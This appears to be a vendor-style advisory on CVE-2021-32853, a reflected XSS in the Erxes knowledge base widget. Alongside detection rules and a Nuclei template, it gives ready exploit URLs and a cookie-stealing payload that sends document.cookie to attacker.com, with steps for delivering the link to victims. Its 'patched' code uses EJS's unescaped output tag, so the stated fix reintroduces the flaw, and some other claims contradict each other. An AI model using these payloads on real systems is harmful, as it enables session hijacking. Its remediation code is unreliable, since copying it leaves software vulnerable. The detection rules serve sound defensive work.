CVE-2021-32853

Executive Summary

CVE-2021-32853 is a critical reflected Cross-Site Scripting (XSS) vulnerability affecting Erxes, an open-source experience operating system (XOS), in versions prior to 0.23.0. The vulnerability resides in the knowledge base widget endpoint, where the topicId parameter is not properly sanitized before being embedded into a JavaScript context. An attacker can craft a malicious link that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the victim's browser. This can lead to session hijacking, data theft, or defacement. The vulnerability is publicly documented with a proof-of-concept (PoC) and a Nuclei template, making it a high-priority target for both red teams and threat actors. No official patch was released by the vendor, but the fix is available in version 0.23.0.

Supply Chain & Package Security

Erxes is a Node.js application distributed via npm and GitHub. The vulnerability exists in the core application code, not in a third-party dependency. However, organizations using Erxes should verify their deployment version and ensure they are not running an unpatched fork or container image. The lack of a vendor-issued CVE patch underscores the importance of monitoring upstream repositories and applying community fixes.

CVSS Breakdown & Threat Level

The CVSS v3.1 score is 9.6 (Critical).

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – The victim must click a malicious link.
• Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Full access to victim's session and data.
• Integrity (I): High (H) – Ability to modify content or perform actions as the victim.
• Availability (A): High (H) – Potential to disrupt user sessions or deface the application.

Threat Level: Critical. The combination of low complexity, no privileges required, and high impact makes this a severe risk. The EPSS score of 0.84524 (99.3rd percentile) indicates active exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the /widgets/knowledgebase endpoint. The topicId parameter is taken directly from the URL and injected into a JavaScript context within the HTML response without proper encoding or sanitization.

Root Cause: In the file widgets/server/views/widget.ejs, the topicId value is embedded directly into a <script> tag:

var topic_id = "<%= topicId %>";

If an attacker supplies a value like </script><script>alert(document.domain)</script>, the resulting HTML becomes:

<script>
  var topic_id = "</script><script>alert(document.domain)</script>";
</script>

This breaks out of the original script tag and executes the attacker's payload.

Attack Flow:

1. Attacker crafts a malicious URL: https://target.com/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
2. Victim clicks the link (e.g., via phishing email or social engineering).
3. The server returns an HTML page with the unsanitized topicId injected into a script context.
4. The victim's browser executes the attacker's JavaScript, which can steal cookies, redirect to a phishing page, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (erxes < 0.23.0):

In widgets/server/views/widget.ejs:

var topic_id = "<%= topicId %>";

This directly interpolates the topicId without escaping.

Patched Code (erxes >= 0.23.0):

The fix involves escaping the output using EJS's built-in escape function or switching to a safer context. The patched version likely uses:

var topic_id = "<%- topicId %>"; // or similar escaping

Or the value is sanitized server-side before being passed to the template. The exact patch can be found in the commit referenced in the advisory: f131b49add72032650d483f044d00658908aaf4a.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Erxes instance (version < 0.23.0).
• A web browser or tool like curl to test.

Exploitation Steps:

1. Craft the malicious URL:

   http://target.com/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
   

2. Deliver the link to a victim via email, chat, or social media.

3. Observe the XSS: The victim's browser will execute alert(document.domain). For a real attack, replace the payload with a script that steals cookies or performs actions.

Advanced Payload Example (Cookie Stealing):

http://target.com/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Enew%20Image().src%3D%22http%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D%22%2Bdocument.cookie%3C%2Fscript%3E

Using the Nuclei Template: The provided Nuclei template automates detection. Run it with:

nuclei -t CVE-2021-32853.yaml -u http://target.com

Blue Team

Detection:

• Monitor web server logs for requests to /widgets/knowledgebase with suspicious topicId parameters containing script tags or encoded HTML.
• Use WAF rules to block requests with </script> or <script> in the topicId parameter.
• Deploy the detection rules provided in the Detection Engineering section.

Mitigation:

• Upgrade to Erxes version 0.23.0 or later.
• If upgrade is not possible, apply a virtual patch by adding a WAF rule to sanitize the topicId parameter.
• Educate users about phishing links and the risks of clicking untrusted URLs.

Indicators of Compromise (IOCs)

• URL Pattern: /widgets/knowledgebase?topicId=... containing encoded script tags.
• HTTP Request Example:

  GET /widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
  Host: target.com
  

• Response Body Snippet:

  <script>
    var topic_id = "</script><script>alert(1)</script>";
  </script>
  

• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2021_32853_XSS_Erxes {
    meta:
        description = "Detects malicious requests targeting CVE-2021-32853 in Erxes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-32853"
    strings:
        $xss_payload = /topicId=.*%3C%2Fscript%3E%3Cscript%3E/i
        $xss_payload2 = /topicId=.*<\/script><script>/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2021-32853 Erxes XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2021-32853 in Erxes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/widgets/knowledgebase'
        cs-uri-query|contains|all:
            - 'topicId='
            - '</script>'
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in topicId (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-32853 Erxes XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/widgets/knowledgebase"; http_uri; content:"topicId="; http_uri; content:"</script>"; http_uri; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2021-32853

info:
  name: Erxes <0.23.0 - Cross-Site Scripting
  author: dwisiswant0
  severity: critical
  description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2021-32853
    cwe-id: CWE-79
    epss-score: 0.84524
    epss-percentile: 0.99333
    cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: erxes
    product: erxes
    shodan-query: http.title:"erxes"
    fofa-query: title="erxes"
    google-query: intitle:"erxes"
  tags: cve2021,cve,xss,erxes,oss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'topic_id: "</script><script>alert(document.domain)</script>'
          - "window.erxesEnv"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade Erxes to version 0.23.0 or later. This is the only complete fix.
2. Apply a WAF rule to block requests containing </script> or <script> in the topicId parameter.
3. Review access logs for signs of exploitation (e.g., requests with encoded script tags).

Long-Term Recommendations:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of open-source dependencies.
• Subscribe to security advisories for Erxes and similar platforms.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For questions or further analysis, contact us at Secure Channels (Signal / Portal).

{/* [Security Hash: 14E8322956BF368E9A51199A] */}